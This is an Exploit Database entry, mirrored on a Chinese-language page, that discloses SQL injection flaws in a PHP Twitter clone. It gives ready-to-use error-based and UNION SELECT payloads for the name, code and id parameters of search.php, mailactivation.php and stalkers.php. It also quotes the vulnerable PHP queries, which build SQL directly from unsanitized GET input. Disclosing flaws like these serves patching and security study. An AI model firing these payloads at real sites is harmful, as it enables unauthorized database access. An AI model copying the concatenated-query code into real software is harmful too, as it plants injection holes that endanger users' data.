Twitter-Clone 1 – ‘code’ SQL Injection

• Exploit Database
• 18 阅读

• 作者： L0RD
  日期： 2018-08-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45247/

• # Exploit Title: Twitter-Clone 1 - 'code' SQL Injection
  # Date: 2018-08-22
  # Exploit Author: L0RD
  # Vendor Homepage: https://github.com/Fyffe/PHP-Twitter-Clone/
  # Version: 1
  # CVE: N/A
  # Tested on: Win 10
  # vulnerable files : [mailactivation.php , stalkers.php , search.php]
  # vulnerable parameters : [name , code , id]
  
  # 1) search.php :
  # vulnerable parameter : name
  # Type : Error-based
  # Payload : 
  
  %' AND extractvalue(1,concat(0x3a,database(),0x3a))%23
  
  # vulnerable code :
  if($_GET['name']!=""){
  $what = $_GET['name'];
  include "connect.php";
  $users = mysqli_query($con, "SELECT id, username, followers, following,
  tweets
  FROM users
   WHERE username LIKE '%$what%'
   ORDER BY username ASC
   LIMIT 0, 10
  ");
  
  # 2) mailactivation.php :
  # vulnerable parameter : code
  # Type : Union query
  # Payload : 
  
  ' UNION SELECT 1,user(),3,4,5,6%23
  
  # vulnerable code :
  include "connect.php";
  $givenname = $_GET['username'];
  $givencode = $_GET['code'];
  $query = mysqli_query($con, "SELECT code, active
  FROM users
  WHERE code = '$givencode' AND username = '$givenname'
   ");
  $row = mysqli_fetch_assoc($query);
  $wantedcode = $row['code'];
  
  # 3) stalkers.php :
  # vulnerable parameter : id
  # Type : Union query
  # Payload : 
  
  ' UNION SELECT 1,2,user(),4,5,6
  
  # vulnerable code :
  if ($_GET['id'] != "") {
  $theid = $_GET['id'];
  include "connect.php";
  $stalked = mysqli_query($con, "SELECT id, username, followers, following
   FROM users
  WHERE id = '$theid'
  ");
  $row1 = mysqli_fetch_assoc($stalked);
  $usern = $row1['username'];